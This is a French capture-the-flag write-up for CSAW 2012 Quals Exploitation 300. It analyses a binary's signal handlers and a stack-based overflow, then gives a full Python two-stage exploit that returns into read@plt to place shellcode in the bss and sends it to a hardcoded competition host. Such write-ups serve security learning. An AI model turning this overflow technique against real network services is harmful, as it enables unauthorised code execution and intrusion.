CSAW 2012 Quals > Exploitation 300
Exploitation 300 était un exécutable 32-bits, strippé et compilé stackexec. L'exécutable ouvrait une socket serveur sur le port 4842. La petite originalité était que les messages étaient en chinois donc utiliser les strings pour savoir ce que l'exec faisait n'était pas possible (pour moi du moins). Ceci dit, ça ne gênait vraiment pas puisqu'il n'y avait pas grand chose à reverser.
Avant l'ouverture de la socket, la fonction à 0x08048A0D mettait différents handlers en place pour SIGUSR1, SIGUSR2 et SIGSYS (appellé quand un appel système n'a pas pu se terminer correctement).
sub esp, 1Ch mov [esp+1Ch+handler], offset handler1 mov [esp+1Ch+sig], 0Ch ; sig call _signal mov [esp+1Ch+handler], offset handler2 mov [esp+1Ch+sig], 0Ah ; sig call _signal mov [esp+1Ch+handler], offset handler3 mov [esp+1Ch+sig], 1Fh ; sig call _signal mov eax, 1 add esp, 1Ch retn
Le premier imprime un message d'erreur et quitte, le second fait un setuid/setgid vers les id de l'utilisateur liaotian et chdir vers son home, puis s'envoit un signal SIGSYS à 0x08048906 (normal ...). Le handler 3 appelle la fonction à 0x0804886e qui fait un read() de 0x800 octets sur la stack dans un buffer de 0x146 (toujours normal).
La boucle est bouclée quand la fonction qui accepte un client sur la socket 0x08048910 appelle le deuxième handler. Avec tout ça, on a donc un stack-based overflow de base, avec à peu près toutes les possibilités d'exploitation ouvertes.
Le plus générique à tester en premier lieu, pour ne pas avoir à s'embêter à trouver de chunks où à disclose les adresses de la GOT, c'est de faire une exploitation en 2 stages sur le bss : on retourne dans read@plt pour écrire le shellcode dans le bss, puis on retourne dans le bss.
#!/usr/bin/python import struct import socket import time HOST = "128.238.66.218" PORT = 4842 shellcode = [ shellcode file reader de "./key" ] addr_read = struct.pack("<I", 0x08048600) addr_bss = struct.pack("<I", 0x0804b06c) payload = 'A'*326 + addr_read + addr_bss + struct.pack("<I", 4) + addr_bss + struct.pack("<I", 100) s = socket.socket() s.connect((HOST, PORT)) s.recv(1024) s.sendall(payload) time.sleep(1) s.sendall(shellcode) print s.recv(1024) print s.recv(1024) s.close()
Et voilà, je n'ai pas gardé le flag, mais rien de bien important.